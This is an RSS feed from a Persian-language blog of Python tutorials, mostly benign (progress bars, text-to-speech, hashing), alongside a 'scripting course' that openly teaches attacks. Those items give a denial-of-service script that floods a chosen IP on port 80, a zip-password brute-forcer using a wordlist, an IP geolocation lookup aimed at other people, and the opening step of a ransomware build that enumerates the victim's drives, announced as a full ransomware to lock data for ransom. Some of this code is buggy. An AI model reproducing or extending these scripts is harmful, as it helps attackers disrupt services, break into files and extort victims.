<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های M0_1S</title>
        <link>https://virgool.io/feed/@M0_1S</link>
        <description></description>
        <language>fa</language>
        <pubDate>2026-06-16 18:45:56</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/364132/avatar/avatar.png?height=120&amp;width=120</url>
            <title>M0_1S</title>
            <link>https://virgool.io/@M0_1S</link>
        </image>

                    <item>
                <title>آموزش ساخت progress bar در پایتون</title>
                <link>https://virgool.io/RubikGroup/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%B3%D8%A7%D8%AE%D8%AA-progress-bar-%D8%AF%D8%B1-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-xyctq779p50p</link>
                <description>سلام با آموزش ساخت progress bar با پایتون در خدمت شما هستیمبریم سر آموزش اول از همه کتابخونهtqdmرو با پیپ نصب می کنیمpip install tqdmبعد از نصب کتابخونه از tqdm که کتابخونه ای که نصب کردیم هست tqdm رو ایمپورت می کنیم from tqdm import tqdmبعد از ایمپورت کردن یک حلقه for می نویسیمfor i in tqdm(range(10000)):    passبعد از اجرای این کد progress bar تا 10000 می رهکد کامل ما اینه :موفق باشید لایک و کامنت فراموش نشه</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Sat, 10 Apr 2021 15:46:33 +0430</pubDate>
            </item>
                    <item>
                <title>آموزش دانلود فیلم از یوتیوب با پایتون</title>
                <link>https://virgool.io/@M0_1S/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%AF%D8%A7%D9%86%D9%84%D9%88%D8%AF-%D9%81%DB%8C%D9%84%D9%85-%D8%A7%D8%B2-%DB%8C%D9%88%D8%AA%DB%8C%D9%88%D8%A8-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-yokzhkjtchzy</link>
                <description>سلام با آموزش دانلود فیلم از یوتیوب در خدمت شما هستیم بریم سر آموزشاول از همه کتابخونه ی pytubeرو با پیپ نصب می کنیمpip install pytubeبعد از نصب این کتابخونه یه فایل با هر اسمی که دوست دارید انتخاب کنید و یک فایل پایتون درست کنیدتوی خط اول از کتابخونه pytubeیه بخشی به اسم YouTubeرو ایمپورت می کنیدfrom pytube import YouTubeتوی خط بعد از کد باید محل ذخیره فیلمی که دانلود میشه رو مشخص کنیدبا دو حالت می تونید این کار رو انجام بدید اول اینکه خودتون مسیر رو معلوم کنید و دوم اینکه می تونید مسیر رو از کاربر ورودی بگیریدمن مسیر رو از کاربر ورودی می گیرمSAVE_PATH = input(&quot;Please Enter a location to save a video =&gt; &quot;)بعد از تعریف متغیر SAVE_PATHیک متغیر به اسم link تعریف می کنیم تا لینک رو از کاربر دریافت کنهlink = input(&quot;Please Enter a link =&gt; &quot;)بعد از تعریف این متغیر یه بلوک try تعریف می کنیمtry:    yt = YouTube(link)except:    print(&quot;Connection Error&quot;)mp4files = yt.filter(&#x27;mp4&#x27;)بعد از اون باید اسم فایلی که دانلود میشه رو مشخص کنیم که من دوباره اسم رو از کاربر می گیرمfilename = input(&quot;Please Enter  a filename =&gt; &quot;)yt.set_filename(filename)بعد از گرفتن اسم فایل از کاربر اون رو به set_filename()که توی آبجکت yt هستش می دیمd_video = yt.get(mp4files[-1].extension,mp4files[-1].resolution)try:    d_video.download(SAVE_PATH)except:    print(&quot;Some Error!&quot;)print(&#x27;Task Completed!&#x27;)اینم بخش آخر کد موفق باشید کامنت و لایک فراموش نشه</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Thu, 08 Apr 2021 22:31:26 +0430</pubDate>
            </item>
                    <item>
                <title>آمار بازدید پست‌های من در سال ۹۹</title>
                <link>https://virgool.io/@M0_1S/%D8%A2%D9%85%D8%A7%D8%B1-%D8%A8%D8%A7%D8%B2%D8%AF%DB%8C%D8%AF-%D9%BE%D8%B3%D8%AA-%D9%87%D8%A7%DB%8C-%D9%85%D9%86-%D8%AF%D8%B1-%D8%B3%D8%A7%D9%84-%DB%B9%DB%B9-az01fz3fjoar</link>
                <description>در طول تاریخ از اعداد استفاده کردیم تا اغلب داد و ستد کنیم و آن‌چیزی که شمردنی است را بشماریم. برای هر عدد واحد درست کردیم تا عددهای زندگی قاطی نشوند و از اعداد، شفاف‌تر استفاده کنیم؛ مثلا وقتی می‌گوییم ده هزار تومان به پول اشاره داریم و وقتی می‌گوییم ده هزار بلیط به بلیط!روز به روز که در زندگی جلو‌تر رفتیم عددها فرقی نکردند ولی این واحدها بودند که زیاد شدند. واحد کریپتو، واحد اصله درخت، واحد فاصله و …«واحد» یک توافق عمومی است برای شمردن؛ تا همانطور که گفتم شمردن‌ها قاطی نشود. مشاهده افراد دارای ثروت (اجتماعی یا مالی) به من ثابت کرده اینکه چه چیزی را بشماریم از اینکه چطور بشماریم مهم‌تر است. هرکس با واحد خاصی مسائل زندگی را می‌شمارد. اینطور به نظرم آمده که مشخص کردن واحد یعنی مشخص کردن اینکه من در زندگی برای چه چیزهایی ارزش قائلم و می‌خواهم چه چیزهایی را در زندگی بشمارم. https://cdn.virgool.io/annual-report/1399/c9rtvfnvevol-tvi5L.mp4 اعدادی که بدون واحد ثبت کردمبه ویدیویی که ویرگول برایم ساخته که نگاه می‌کنم میبینم که در سال ۹۹، من در مجموع ۲,۰۶۶ کلمه در ویرگول نوشتم و منتشر کردم و مخاطبین، پست‌های من را ۲۸ مرتبه پسندیدند و  ۶ بار هم نظر خود را روی پست‌های من به اشتراک گذاشتند. در سال ۹۹، ۸ نفر در ویرگول من را دنبال کردند تا پست‌های بعدیم را بخوانند. این اعداد نشان میدهند من کاری کرده‌ام. هرکدام به واحدی وصل هستند. از خودم می‌پرسم من کدام واحد را شمارش کرده‌ام؟ کدامیک از واحدهای بالا از همه برای من مهم‌تر است؟ ادامه ویدیو را می‌بینم.آمار از اثر بیرونی می‌گویندطبق آمار پست‌های من ۶۹۸ بار خوانده شدند و ۱۶,۱۰۲ ثانیه صرف مطالعه آنها شده است، که با توجه به جمعیتی که در ایران به اینترنت دسترسی دارند، ویرگول به من می‌گوید که توانستم  ۰/۰۰۰۲۲۰۷۵۷ ثانیه، سرانه مطالعه دیجیتال کشور را بالا ببرم.از طرف دیگر ویرگول به من می‌گوید که اگر قرار بود پست‌هایم را چاپ و به دست تک تک خوانندگان برسانم باید ۱,۰۱۱ کاغذ مصرف می‌کردم.آن عددهای کوچک ابتدای ویدیو حالا تبدیل شده‌اند به عددهای بزرگ به اینکه من جلوی مصرف این تعداد کاغذ را گرفتم یا به اینکه من  ۰/۰۰۰۲۲۰۷۵۷ ثانیه، سرانه مطالعه دیجیتال کشور را جابه جا کرده‌ام. واحد این عددها برای من ملموس‌تر است.واحد نوشتن چیست؟همه عددهای بالا و همینطور اثر بیرونی که روی خوانندگان و همینطور در مقیاس بزرگتر طبیعت و جامعه اطرافم گذاشتم اعدادی هستند که من دوستشان دارم و به آنها افتخار می‌کنم. اگر چنین ویدیویی دست شما نیز رسید به شما بابت تک تک اعداد تبریک می‌گویم.اثر هر نوشته تا حدودی معلوم است، اگر بنویسید جلوی قطع درخت را می‌گیرید، به سرانه مطالعه کشور اضافه می‌کنید و خوانندگانی جذب می‌کنید که شما را از طریق نوشته‌هایتان می‌شناسند و …به نظرم می‌رسد که نوشته‌های من و شما واحد ندارند ولی اثر بیرونی دارند.</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Thu, 08 Apr 2021 21:52:17 +0430</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : فصل دوم قسمت اول</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%81%D8%B5%D9%84-%D8%AF%D9%88%D9%85-%D9%82%D8%B3%D9%85%D8%AA-%D8%A7%D9%88%D9%84-tgsuakcf5meh</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون فصل دوم در خدمت شما هستیمقرار شد که توی این فصل یک باج افزار رو طراحی کنیمخوب راجب باج افزار توضیح خاصی نمی دم فقط بدونید باج افزار ویروسی که تمام اطلاعات سیستم قربانی رو قفل می کنه و تا باج رو از کاربر نگیره اطلاعات سیستم قفل می مونهبرای شروع از کتابخونه subprocess بخش check_output رو import می کنیمfrom subprocess import check_outputحالا یک تابع به اسم drive_finder تعریف می کنیم که وظیفه پیدا کردن درایو های سیستم برای پیدا کردن فایل های درایو ها و قفل کردن اونارو دارهdef drive_finder():بعد از تعریف تابع داخل تابع یک متغیر به اسم Drives تعریف می کنیم که مقدار زیر رو داره[&quot;A:&quot;,&quot;B:&quot;,&quot;C:&quot;,&quot;D:&quot;,&quot;E:&quot;,&quot;F:&quot;,&quot;G:&quot;,&quot;H:&quot;,&quot;I:&quot;,&quot;J:&quot;,&quot;K:&quot;,&quot;L:&quot;,&quot;M:&quot;,&quot;N:&quot;,&quot;O:&quot;,&quot;P:&quot;,&quot;Q:&quot;,&quot;R:&quot;,&quot;S:&quot;,&quot;T:&quot;,&quot;U:&quot;,&quot;V:&quot;,&quot;W:&quot;,&quot;X:&quot;,&quot;Y:&quot;,&quot;Z:&quot;]بعدش یک متغیر به اسم sys_drive تعریف می کنیم که یه لیست خالی دارهsys_drive = [ ]حالا یک متغیر به اسم cmd تعریف می کنیم که با استفاده از check_output و دستور net share درایو ها رو پیدا کنهcmd = check_output(&quot;net share&quot; , shell=True)بعد از این کار یک حلقه for تعریف می کنیم که در متغیر Drive هستfor i in Drive:پس از تعریف حلقه for می گیم که اگر i درون cmd بود به متغیر sys_drive حلقه i رو اضافه کنsys_drive.append(i)بعدش خارج از حلقه for بیا و return کن sys_drive رو return sys_driveسورس کلی این جلسه :کانال آپارات ما : aparat.com/F54/black Securityلینک ویدئو ی این آموزش : https://aparat.com/v/h0ZqV</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Thu, 17 Dec 2020 20:20:54 +0330</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : قسمت ششم</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%D8%B4%D8%B4%D9%85-m9tmzy07765x</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون قسمت ششم در خدمت شما هستیمکم کم داریم وارد فصل دوم می شیم این آخرین قسمت از فصل اوله و بعد از این قسمت باید بریم توی فصل دوم که قراره توی فصل دوم یک باج افزار رو به صورت کامل طراحی کنیمتوی این قسمت قراره یک اسکریپتی بنویسیم که فایل های zip رو کرک کنهاول از همه کتابخونه zipfile رو import می کنیمimport zipfileحالا یک متغیر به اسم file تعریف می کنیم که اسم فایل zip ما رو درون خودش دارهfile = &quot;test.zip&quot;حالا یک متغیر به اسم f تعریف می کنیم که از کتابخونه zipfile متد ZipFile رو داره و به این متد متغیر zip رو می دیمf = zipfile.ZipFile&#40;file&#41;بعدش یک متغیر به اسم passw تعریف می کنیم که فایل پسورد لیست ما رو دارهpassw = open(&#x27;passwordlist.txt&#x27; , &#x27;r&#x27;)بعدش یک حلقه for به اسم password تعریف می کنیمfor password in passw.readlines():بعد از تعریف حلقه for یک متغیر به اسم passwd_ تعریف می کنیمpasswd_ = password.strip(&quot;\n&quot;)حالا یک بلوک try و except تعریف می کنیم که اگه پسورد رو پیدا نکرد خطا ندهtry:    f.extractall(pwd=passwd_)   print &#x27;PAssword Found&#x27;   breakexcept:     print &#x27;Password False =&gt; &#x27;,passwd_آدرس کانال ما : aparat.com/F54/black Securityآدرس ویدئوی این آموزش : https://aparat.com/v/3bp1h</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Mon, 14 Dec 2020 20:42:02 +0330</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : قسمت پنجم</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%D9%BE%D9%86%D8%AC%D9%85-fd84qi2j2oyt</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون قسمت پنجم در خدمت شما هستیمتا حالا شده بخواید آدرس آیپی یک کسی یا یه وب سروری رو پیدا کنید توی این آموزش یه اسکریپت می نویسیم تا این کارو برای ما انجام بدهاول از همه کتابخونه urllib3 رو نصب می کنیمpip install urllib3یا python -m pip install urllib3بعد از نصب کردن این کتابخونه رو با کتابخونه socket وارد برنامه می کنیمimport urllib3from socket import *بعد یک متغیر به اسم Domain تعریف می کنیم که یک آدرس آیپی یا دامنه می گیرهDomain = input(&#x27;Enter IP Addres or Domain =&gt; &#x27;)حالا یک متغیر به اسم http تعریف می کنیم که از کتابخونه urllib3 بخش PoolManager رو در خودش دارهhttp = urllib3.PoolManager()بعدش یک متغیر به اسم ip تعریف می کنیم که از کتابخونه socket بخش gethostbyname رو داره که می تونه دامنه یک سایت رو به یک آدرس آیپی تبدیل کنهip = gethostbyname(Domain)بعد از اون یک متغیر به اسم Location تعریف می کنیم تا کار پیدا کردن موقعیت مکانی ما رو انجام بده برای این کار ما باید به یک سایت درخواست بزنیم و آدرس آیپی تارگت رو بدیم تا پیداش کنهLocation = http.requests(&#x27;GET&#x27; , &#x27;http://api.hackertarget.com/geoip/?q=&#x27; + ip)یه توضیح کوتاه دیگه راجب این خط بدم توی اولین ورودی داخل پرانتز ما نوع درخواست وب خودمون رو مشخص کردیم و توی دومین ورودی آدرس سایت رو دادیم و در سومین ورودی آدرس آیپی رو به سایت دادیمبعد از این کار ما باید پرینت کنیم دیتای متغیر Location خودمون روprint(Location.data)اینم از اسکریپت این جلسهلینک کانال ما در آپارات : aparat.com/black Securityلینک ویدئو این آموزش : https://www.aparat.com/v/x36k5امیدوارم خوشتون اومده باشه خداحافظ</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Sat, 12 Dec 2020 19:27:41 +0330</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : قسمت چهارم</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%DA%86%D9%87%D8%A7%D8%B1%D9%85-qyfzcohbbzon</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون قسمت چهارم در خدمت شما هستیمقبل از شروع بگم که این دوره 2 فصله که هر فصل 6 یا 7 قسمت هستشکه توی فصل اول اسکریپت های معمولی رو کار می کنیمولی توی فصل دوم شروع به طراحی یک باج افزار می کنیم که کل فصل دوم رو روی  این کار می زاریمشاید این دوره فصل سومی هم داشته باشه البته معلوم نیستتوی این قسمت قراره که یه اسکریپت بنویسیم که متن رو تبدیل به صدا کنهبرای این کار باید کتابخونه pyttsx3 رو نصب کنیمpip install pyttsx3یاpython -m pip install pyttsx3بعد از نصب کردن این کتابخونه باید اون رو import کنیمimport pyttsx3بعد یک متغیر به اسم enige تعریف می کنیم که از کتابخونه pyttsx3 متد ()init رو فراخونی می کنیمenige = pyttsx3.init()حالا یک متغیر به اسم voices تعریف می کنیم و از متغیر enige بخش getProperty رو صدا می زنیم و به اون مقدار voices رو می دیمvoices = enige.getProperty(&#x27;voices&#x27;)بعد از اون باید سرعت صدا رو مشخص کنیمenige.setProperty(&#x27;rate&#x27;,107)البته شما می تونید 107 رو پایین تر یا بالاتر ببرین ولی این مقدار از نظر من کافیهبعدش باید یک تابع به اسم Speack تعریف می کنیم که یک text می گیره و اون رو تبدیل به صدا می کنهdef Speack(text):بعدش از متغیر enige متد say رو انتخاب می کنیم و به اون متغیر text رو می دیمenige.say(text)در نهایت ما باید با استفاده از متد runAndWait رو استفاده می کنیم تا صدا رو برای ما اجرا کنه و صبر کنه تا تموم بشهenige.runAndWait()حالا می تونیم تابع رو اجرا کنیم فقط باید متن انگلیسی رو بهش بدیمکانال آپارات ما : aparat.com/black Securityلینک ویدئو این آموزش : https://www.aparat.com/v/EqmCzامیدوارم خوشتون اومده باشه لطفا ما رو دنبال کنید</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Sat, 12 Dec 2020 00:33:46 +0330</pubDate>
            </item>
                    <item>
                <title>دوره ی آموزشی اسکریپت نویسی با پایتون : قسمت سوم</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%DB%8C-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%D8%B3%D9%88%D9%85-yoce2eksy4ff</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون در خدمت شما هستیمامروز می خوایم اسکریپت حمله داس رو بنویسیمشاید بعضی ها بپرسن حمله داس چیه و چیکار می کنهحمله داس چیست ؟حمله داس یعنی ما درخواست های زیادی و متعددی به یک وبسایت یا یک وب سرور می زنیم تا اون وب سرور یا وب سایت دیگه به هیچ کس سرویس ندهالبته حمله داس دیگه خیلی قدیمی شده و کسی دیگه ازش استفاده نمی کنه چون بیشتر وب سرور ها یه سرویسی دارن که اگه یک آدرس آیپی بیش از حد درخواست بزنه اون رو بلاک می کنن خیله خوب بریم سر آموزشبرای شروع ما باید کتابخونه socket رو import کنیمfrom socket import *بعد از اون یک متغیر به اسم s تعریف می کنیم که داخل خودش مجموعه ای از پورت های tcp رو دارهs = socket(AF_INET , SOCK_STREAM)حالا یک متغیر به اسم ip تعریف می کنیم و به اون آدرس آیپی که می خوایم بهش حمله کنیم رو به صورت string بهش می دیمip = &quot;192.168.1.1&quot;البته ما میتونیم این متغیر رو بصورت یک ورودی بیاریم ip = input(&quot;Enter your ip addres =&gt; &quot;)حالا باید یک متغیر به اسم pack تعریف کنیم که درونش یک string با هر متنی که دوست دارید رو می نویسیدpack = &quot;M0_1S&quot;*100بعد از این کار باید یک متغیر به اسم counter تعریف کنیم که شمارنده تعداد دفعات درخواست های ما به اون وب سرور یا وبسایتی که قصد حمله به اون رو داریم بنویسهکه چند بار تکرار شده رو به ما بگهبعد از اون یک حلقه for به اسم i تعریف می کنیم که رنج 1 تا 9000 رو دارهfor i in range(1 , 9000):توی این حلقه که 9000 بار اجرا میشه ما باید به سرور وصل بشیم و درخواست رو ارسال کنیمحالا با استفاده از متغیر s که تعریفش کردیم به اون وب سرور وصل می شیمs.connect((ip , 80))بعد از انجام دادن این کار باید متغیر pack خودمون رو بفرستیمs.send(&quot;GET ? HTTP 1.1&quot;+pack)در نهایت متغیر counter رو برابر خودش بعلاوه 1 می کنیمcounter = counter + 1بعد خارج از حلقه  connection رو می بندیمs.close()لینک کانال آپارات ما : aparat.com/black Securityآدرس ویدئو این آموزش : https://www.aparat.com/v/78MkSلطفا کانال ما در آپارات رو دنبال کنیدامیدوارم خوشتون اومده باشه خداحافظ</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Fri, 11 Dec 2020 18:39:06 +0330</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : قسمت دوم</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%D8%AF%D9%88%D9%85-c8qodfcsw744</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون قسمت دوم در خدمت شما هستیمتوی این قسمت می خوایم یه اسکریپتی بنویسیم که سورس سایت رو برای ما دانلود کنهتوی این قسمت ما از کتابخونه requests استفاده می کنیمکه باید با اون رو نصب کنیمبا دوستور زیر این کتابخونه رو نصب می کنیمpip install requestsیاpython -m pip install requestsما توی این آموزش از localhost استفاده می کنیم که باید یا نرم افزار waqmp یا xamp رو نصب داشته باشید البته شما می تونید این اسکریپت رو روی سایت ها امتحان کنیدبریم سر آموزشبعد از نصب کردن کتابخونه حالا باید اون رو تو برنامه ی خودمون import کنیمimport requestsحالا یک فایل به هر اسمی که دوست داشتیت باز می کنید تا برنامه ی ما سورس سایت رو داخلش بنویسهlog = open(&quot;Source.txt&quot; , &quot;w&quot;)دقت کنید وقتی این فایل رو باز می کنید حتما با نوع w یا همون نوشتن باشهبعد از اون یک متغیر به اسم requ یا هر اسمی که دلتون خواست تعریف می کنید و از کتابخونه requests بخش get رو فراخونی می کنیم و داخل پرانتز آدرس اون سایتی رو که می خواید رو به صورت رشته بهش می دیدrequ = requests.get(&quot;http:\\localhost&quot;)در نهایت اطلاعات به دست اومده رو توی فایلی که باز کردیم می نویسیمlog.write(requ)به همین سادگیویدئوی این آموزش رو می تونید توی کانال ما در سایت آپارات ببینیدآدرس کانال ما در آپارات :                                      aparat.com/black Security آدرس ویدئو این آموزش :                           https://www.aparat.com/v/E0IHr امید وارم خوشتون اومده باشه خدا نگهدار</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Thu, 10 Dec 2020 12:03:03 +0330</pubDate>
            </item>
                    <item>
                <title>دوره آموزشی اسکریپت نویسی با پایتون : قسمت اول</title>
                <link>https://virgool.io/@M0_1S/%D8%AF%D9%88%D8%B1%D9%87-%D8%A2%D9%85%D9%88%D8%B2%D8%B4%DB%8C-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%D8%A8%D8%A7-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-%D9%82%D8%B3%D9%85%D8%AA-%D8%A7%D9%88%D9%84-uzy3euqhyrws</link>
                <description>سلام با دوره ی آموزشی اسکریپت نویسی با پایتون قسمت اول در خدمت شما هستیمتوی این قسمت می خوایم یه اسکریپت بنویسیم که از صفحه تارگت ما عکس بگیرهبریم سر آموزشخیله خوب اول از همه ما باید کتابخونه زیر رو با ماژول pip نصب کنیمpip install pyautoguiیاpython -m pip install pyautoguiاین کتابخونه رو نصب می کنیمحالا که این کتابخونه رو نصب کردیم باید اون رو import کنیمimport pyautoguiحالا یک متغیر به اسم picture درست می کنیم و از کتابخونه ی pyautogui متد screenshot رو فراخونی می کنیم و به اون اسم فایلی رو می دیم که می خوایم توی اون عکس ذخیره بشه و فرمتش هم حتما و فقط باید png باشهpicture = pyautogui.screenshot(&quot;filename.png&quot;) https://virgool.io/p/uzy3euqhyrws/edit اینم از ویدئو آموزشی امیدوارم خوشتون بیاد</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Tue, 08 Dec 2020 21:23:40 +0330</pubDate>
            </item>
                    <item>
                <title>آموزش Hash کردن با استفاده از پایتون</title>
                <link>https://virgool.io/coderlife/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-hash-%DA%A9%D8%B1%D8%AF%D9%86-%D8%A8%D8%A7-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%A7%D8%B2-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-uq9rfxxrbicy</link>
                <description>سلام توی این نوشته می خوام Hash کردن رو با پایتون به شما یاد بدمخیله خوب بریم سر آموزشاول از همه یک فایل پایتونی درست می کنید و اسم اون رو هر چی  که می خواید می زاریدبعدش فایل رو باز می کنید و کتابخونه hashlib رو import می کنیدبعدش یک ورودی میگیریم تا یک کلمه یا جمله برای ما از کاربر بگیره و در خط بعدی یک متغیر تعریف می کنیم که از کتابخونه hashlib متود md5 رو فراخوانی می کنهو در نهایت اون رو آپدیت می کنیم و بهش ورودی که از کاربر گرفتیم رو میدیمو Hash به دست اومده رو روی صفحه چاپ می کنیمکل خط کد ما به این شکل هستشimport hashlibhash = raw_input(&quot;Enter a word =&gt; &quot;)secur = hashlib.md5()secur.update(hash)print &quot;Hash is =&gt; &quot;, secur.hexdigest()این اسکریپت با پایتون نسخه 2 نوشته شده</description>
                <category>M0_1S</category>
                <author>M0_1S</author>
                <pubDate>Thu, 12 Nov 2020 16:05:13 +0330</pubDate>
            </item>
            </channel>
</rss>